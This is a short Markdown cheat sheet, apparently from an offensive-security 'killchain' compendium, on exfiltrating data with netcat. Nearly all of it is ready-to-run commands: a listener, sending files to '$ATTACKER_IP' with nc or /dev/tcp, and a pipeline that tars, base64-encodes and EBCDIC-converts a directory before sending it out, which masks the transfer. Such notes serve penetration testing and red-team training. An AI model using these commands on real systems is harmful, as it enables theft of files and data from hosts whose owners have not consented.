killchain-compendium/Exfiltration/Netcat.md

40 lines
853 B
Markdown

# Netcat
## Receive data via netcats
### Receiver
Set up the receiver to store the data `out.txt`.
```sh
nc -lp 8080 > out.txt
```
### Transceiver
The transceiver transfers the file through netcat to the already setup receiver.
```sh
nc $ATTACKER_IP 8080 < in.txt
```
#### Transceiver tricks
The file `out.txt` can be send without netcat as well in the following way
```sh
cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
```
The connection has to be end manually after a while, this won't happen automatically.
### Compress and Encode
To save throughput, compress and encode the transmitted data before it is send
```sh
tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
```
On receiver's side, after `out.data` has been received
```sh
dd conv=ascii if=out.data | base64 -d > out.tar
tar xvf out.tar
```